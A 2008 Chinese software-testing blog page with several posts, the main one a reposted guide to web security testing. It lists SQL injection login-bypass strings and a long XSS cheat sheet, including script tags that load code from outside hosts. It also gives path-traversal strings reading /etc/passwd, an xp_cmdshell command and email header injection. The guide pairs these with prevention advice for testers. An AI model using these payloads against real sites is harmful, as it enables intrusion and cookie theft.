发布新日志

  • 美国软件测试组织的教育课程体系

    2008-05-28 17:00:39

    Requirements-Based testing (基于需求的测试)

    1、Effective Requirements for Effective Testing ()

    2、Evaluation Business Requirements

    Database and SQL

    1、Programming and DataBase Concepts for Test and QA Professionals

    Test Automation

    1、Test Automation Architectures and Advanced Techniques

    2、Automated SoftWare Testing —A Lifecyle Methodology

    Manageing the Test Process and Project

    1、Effective Software Test Management

    2、Managing the Software Test Organization

    Web and eBusiness Testing

    1、Testing Web and ebusiness Application

    Risk-Based Testing

    1、Risk-Based Test Management

    2、Risk Based Testing: Analysis and Strategy Development

    3、Testing in a Rapid Application Development Environment 

    Measuremeents and Metrics

    1、Improved Software Testing With the Use of Metrics

    2、Test Process Measurements and Improvement

    Programming Concepts for Testers

    1、Programming Conpects for Test and QA Professionals

    Performance Testing

    24、Conducting Cost-Effectiove Performance Testing (执行划算的测试)

    25、User Acceptance Testing (用户可接受的测试)

    Writing Test Plan(书写测试计划)

    (2005年9月的参考数据)

  • WAP 应用以及相关术语

    2008-05-08 14:47:21

    WAP网关:移动用户接入Internet 的设备(也可以是软件?)之一。在移动设备端,WAP网关作为服务器,为用户提供各种服务;在internet端,WAP网关作为客户机,向信息服务器发出服务请求,通过Internet网获取用户需要的信息。WAP网关负责将WSP请求/应答与HTTP请求/应答相互转换。

    WAP代理:实现WAP协议栈与Internet协议栈的转换,WSP协议栈包括WSP(会话层)、WTP(事务层)、WTL(安全层)、WDP(传输层)协议。

    手机上的E标记:E是EDGE(Enhance Dataratefor GSM Evolution),增强型GPRS,也叫EGPRS,是2.5G向3G的过渡产品,被视为2.7G产品,传输速度比GPRS快3-4倍左右。如果所在区域具有EGPRS信号,手机连接上GPRS之后会自动匹配,切换到EGPRS信号网络

    WAP术语:

    WAP——无线应用协议WAP(Wireless Application Protocol)

    WML——无线标识语言,为JAVA的一个子集

    WNLscrīpt——WML脚本语言,为Javascrīpt语言的一个1扩展子集

    WAE——WAP标准所定义的无线应用环境(Wireless Application Environment)

    WTA——WAP标准定义的无线电话应用

    GSM——全球数字移动电话系统(Global System for Mobile communications)

    CDMA——码分多路访问(Code Division Multiple Access)系统

    TDMA——数字蜂窝移动通信系统

    GPRS——通用分组无线系统

    PWS——个人网页数据协议

  • 如何进行WEB安全性测试 ZT

    2008-04-08 20:19:02

    ZT:http://www.51testing.com/?49689/action_viewspace_itemid_74842.html

    WEB的安全性测试主要从以下方面考虑:

      1.SQL Injection(SQL 注入)

      (1)如何进行SQL注入测试?

    • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
    注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.

    <form id="form_search" action="/search/" method="get">

    <div>

    <input type="text" name="q" id="search_q" value="" />

    <input name="search" type="image" src="/media/images/site/search_btn.gif" />

    <a href="/search/" class="fl">Gamefinder</a>

    </div>

    </form>

    注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
    • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

    注1:根据实际情况,SQL注入请求可以使用以下语句:

    ' or 1=1- -

    " or 1=1- -

    or 1=1- -

    ' or 'a'='a

    " or "a"="a

    ') or ('a'='a 
       注2:为什么是OR,以及',――特殊的字符呢?

    例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password'

    如 输入http://duck/index.asp?username=admin' or 1='1&pwd=11SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11'

    '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.

    接下来是OR查询条件,OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

    如 输入http://duck/index.asp?username=admin'--&pwd=11SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

     '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行
     接下来是"--"查询条件,“--”
    是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
    • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
    • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
      (2)如何预防SQL注入?

       从应用程序的角度来讲,我们要做以下三项工作:
    • 转义敏感字符及字符串(SQL的敏感字符包括exec,xp_,sp_,declare,Union,cmd,+,//,..,;, ,--,%,0x, ><=!-*/()| ,空格”).
    • 屏蔽出错信息:阻止攻击者知道攻击的结果

    • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

       从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
    • 需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
    • 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
       当然在执行测试的过程中,我们也需求对上述两项内容进行测试.

      2.Cross-site scritping(XSS):(跨站点脚本攻击)

      (1)如何进行XSS测试?

    • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
    • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

    <scrīpt>alert(document.cookie)</scrīpt>


          注:其它的XSS测试语句

    ><scrīpt>alert(document.cookie)</scrīpt>
    ='><scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(vulnerable)</scrīpt>
    %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
    <scrīpt>alert('XSS')</scrīpt>
    <img src="javascrīpt:alert('XSS')">
    %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
    %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
    %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
    %3f.jsp
    %3f.jsp
    &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
    <scrīpt>alert('Vulnerable')</scrīpt>
    ?sql_debug=1
    a%5c.aspx
    a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
    a/
    a?<scrīpt>alert('Vulnerable')</scrīpt>
    "><scrīpt>alert('Vulnerable')</scrīpt>
    ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
    %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
    %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
    %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
    1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
    ../../../../../../../../etc/passwd
    ..\..\..\..\..\..\..\..\windows\system.ini
    \..\..\..\..\..\..\..\..\windows\system.ini
    '';!--"<XSS>=&{()}
    <IMG SRC="javascrīpt:alert('XSS');">
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
    <IMG SRC=" javascrīpt:alert('XSS');">
    <scrīpt>a=/XSS/alert(a.source)</scrīpt>
    <BODY BACKGROUND="javascrīpt:alert('XSS')">
    <BODY ōNLOAD=alert('XSS')>
    <IMG DYNSRC="javascrīpt:alert('XSS')">
    <IMG LOWSRC="javascrīpt:alert('XSS')">
    <BGSOUND SRC="javascrīpt:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
    <IMG SRC='vbscrīpt:msgbox("XSS")'>
    <IMG SRC="mocha:[code]">
    <IMG SRC="livescrīpt:[code]">
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
    <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
    <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascrīpt:alert('XSS')">
    <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
    <DIV STYLE="width: expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
    <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
    <BASE HREF="javascrīpt:alert('XSS');//">
    getURL("javascrīpt:alert('XSS')")
    a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascrīpt:alert('XSS');">
    "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
    <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
    <IMG SRC="javascrīpt:alert('XSS')"
    <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
    <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
    <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
     


    • 最后,当用户浏览时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
    • 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
      (2)如何预防XSS漏洞?
        从应用程序的角度来讲,要进行以下几项预防:
    • Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
    • 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
        从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
    • 在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
    • 执行测试过程中也应对上述项进行检查。
     
      3.CSRF:(跨站点伪造请求)
        CSRF尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。
        XSS是利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
        XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES(关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG:http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),
       (1)如何进行CSRF测试?
        关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。
       (2)如何预防CSRF漏洞?
      4.Email Header Injection(邮件标头注入)  
        Email Header Injection
    :如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题),我们要验证subject中应能escape掉“\n”标识。
    • <!--[if !supportLists]--> <!--[endif]-->因为“\n”是新行,如果在subject中输入“hello\ncc:spamvictim@example.com”,可能会形成以下
    Subject: hello
    cc: spamvictim@example.com
    • <!--[if !supportLists]--> <!--[endif]-->如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。
      5.Directory Traversal(目录遍历)
       (1)如何进行目录遍历测试?
    • 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
    • 测试方法:URL中输入一定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。
       (2)如何预防目录遍历?
    • 限制Web应用在服务器上的运行
    • 进行严格的输入验证,控制用户输入非法路径
      6.exposed error messages(错误信息)
      (1)如何进行测试?
    • 首先找到一些错误页面,比如404,或500页面。
    • 验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存在”等,而并非曝露一些程序代码。
      (2)如何预防?
    • 测试人员在进行需求检查时,应该对出错信息进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。


      


  • 安全性测试 ZT

    2008-04-08 20:06:29

    软件安全性测试包括程序、数据库安全性测试。根据系统安全指标不同测试策略也不同。

    用户认证安全的测试要考虑问题:

    1.         明确区分系统中不同用户权限

    2.         系统中会不会出现用户冲突

    3.         系统会不会因用户的权限的改变造成混乱

    4.         用户登陆密码是否是可见、可复制

    5.         是否可以通过绝对途径登陆系统(拷贝用户登陆后的链接直接进入系统)

    6.         用户推出系统后是否删除了所有鉴权标记,是否可以使用后退键而不通过输入口令进入系统

    系统网络安全的测试要考虑问题

    1.         测试采取的防护措施是否正确装配好,有关系统的补丁是否打上

    2.         模拟非授权攻击,看防护系统是否坚固

    3.         采用成熟的网络漏洞检查工具检查系统相关漏洞(即用最专业的黑客攻击工具攻击试一下,现在最常用的是 NBSI 系列和 IPhacker IP

    4.         采用各种木马检查工具检查系统木马情况

    5.         采用各种防外挂工具检查系统各组程序的客外挂漏洞

    数据库安全考虑问题:

    1.         系统数据是否机密(比如对银行系统,这一点就特别重要,一般的网站就没有太高要求)

    2.         系统数据的完整性(我刚刚结束的企业实名核查服务系统中就曾存在数据的不完整,对于这个系统的功能实现有了障碍)

    3.         系统数据可管理性

    4.         系统数据的独立性

    5.         系统数据可备份和恢复能力(数据备份是否完整,可否恢复,恢复是否可以完整)
  • 关于QTP中保存test时"General Error while saving the test"的解决办法

    2008-02-26 10:31:11

    今天录制了一个脚本,保存文件时,提示"General Error while saving the test"。

    在网上搜索了一下,kernzhang的blog中有介绍到解决该问题的办法,参照总结了一下:

    1、先定位问题: 把如下脚本拷贝到QTP的Expert View中,运行一下

       Dim fso, MyFile
       Set fso = CreateObject("scrīpting.FileSystemObject")
       Set MyFile = fso.CreateTextFile("C:\testfile.txt", True)
       MyFile.WriteLine ("This is a test")
       MyFile.WriteLine ("This is another test")
       MyFile.Close

    出现提示:ActiveX 部件不能创建对象: 'scrīpting.filesystemobject' ,可以确定是操作系统中ActiveX控件问题造成的

    2、重新注册Scrrun.dll:

    查找system32目录下是否存在文件:Scrrun.dll,如果不存在,从别处拷贝一份过来。

    在CMD命令行状态输入以下命令:

    关闭命令:RegSvr32 /u C:\WINNT\SYSTEM32\scrrun.dll

    打开命令:RegSvr32 C:\WINNT\SYSTEM32\scrrun.dll

     

Open Toolbar